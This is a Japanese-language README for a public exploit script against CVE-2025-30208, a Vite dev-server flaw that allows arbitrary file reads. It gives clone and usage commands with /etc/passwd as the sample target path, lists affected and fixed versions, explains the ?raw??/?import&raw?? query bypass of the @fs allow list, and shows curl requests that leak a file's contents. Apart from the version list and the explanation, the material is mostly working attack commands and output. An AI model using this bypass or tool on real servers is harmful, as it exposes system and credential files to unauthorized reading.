
このエクスプロイトは教育目的および倫理的なセキュリティテスト専用です。対象への事前の相互同意なしでの使用は違法であり、開発者は誤用や損害に対する一切の責任を負いません。
[!IMPORTANT]
免責事項
このエクスプロイトは、教育および倫理的なセキュリティテストの目的でのみ使用されます。事前の相互同意なしに本エクスプロイトをターゲットに対して使用することは違法であり、開発者は本エクスプロイトの誤用またはそれによって生じた損害について一切の責任を負いません。
git clone https://github.com/On1onss/CVE-2025-30208.git
cd CVE-2025-30208
pip install -r requirements.txt
python CVE-2025-30208.py [-h] [-t <Target URL>] [-fp <File Path>] [-i]
options:
-h, --help このヘルプメッセージを表示して終了
-t <Target URL> 例: -t http://localhost:5173/
-fp <File Path> 例: -fp /etc/passwd
-i インタラクティブモード
>= 6.2.0, < 6.2.3
>= 6.1.0, < 6.1.2
>= 6.0.0, < 6.0.12
>= 5.0.0, < 5.4.15
< 4.5.10
6.2.3
6.1.2
6.0.12
5.4.15
4.5.10
任意のファイルの内容がブラウザに返される可能性があります。
Vite 開発サーバーをネットワークに明示的に公開している(--host または server.host 設定オプションを使用)アプリのみが影響を受けます。
@fs は Vite の提供許可リスト外のファイルへのアクセスを拒否します。URL に ?raw?? または ?import&raw?? を追加すると、この制限が回避され、ファイルが存在する場合にその内容が返されます。このバイパスが存在するのは、末尾の区切り文字(? など)がいくつかの箇所で削除されるものの、クエリ文字列の正規表現では考慮されていないためです。
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# 期待される挙動
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" outside of Vite serving allow list.
# セキュリティのバイパス
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
# sourceMappingURL=data:application/json;base64,eyJ2...